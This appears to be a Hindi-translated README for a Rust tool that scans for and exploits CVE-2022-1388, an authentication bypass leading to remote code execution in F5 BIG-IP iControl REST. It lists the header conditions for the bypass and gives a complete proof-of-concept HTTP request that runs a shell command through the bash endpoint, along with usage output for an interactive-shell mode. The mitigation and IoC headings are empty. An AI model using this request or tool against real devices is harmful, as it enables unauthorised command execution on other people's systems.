CVE-2022-1388-rs

CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE के लिए स्कैनर और इंटरैक्टिव शेल, जो Rust में लिखा गया है

सारांश

सब कुछ समेटने के लिए, इस भेद्यता का शोषण करने वाले अनुरोध के लिए आवश्यक शर्तों का अवलोकन यहाँ है:

Connection हेडर में X-F5-Auth-Token शामिल होना चाहिए
X-F5-Auth-Token हेडर मौजूद होना चाहिए
Host हेडर localhost / 127.0.0.1 होना चाहिए, या Connection हेडर में X-Forwarded-Host शामिल होना चाहिए
admin उपयोगकर्ता नाम और किसी भी पासवर्ड के साथ Auth हेडर सेट होना चाहिए

PoC

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
    "command":"run",
    "utilCmdArgs":"-c id"
}

लैब सेटअप

आप लैब पा सकते हैं यहाँ

उपयोग

$ cve_2022_1308_rs -h

CVE-2022-1388 PoC 1.0
Petruknisme <[email protected]>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust

USAGE:
    cve_2022_1388_rs [OPTIONS] --url <URL>

OPTIONS:
    -h, --help         Print help information
    -s, --shell        This mode for accessing payload with interactive shell
    -u, --url <URL>    F5 Big-IP target url
    -V, --version      Print version information

CVE-2022-1388-rs

सबसे लोकप्रिय

आवश्यकताएँ

IoCs

शमन

संदर्भ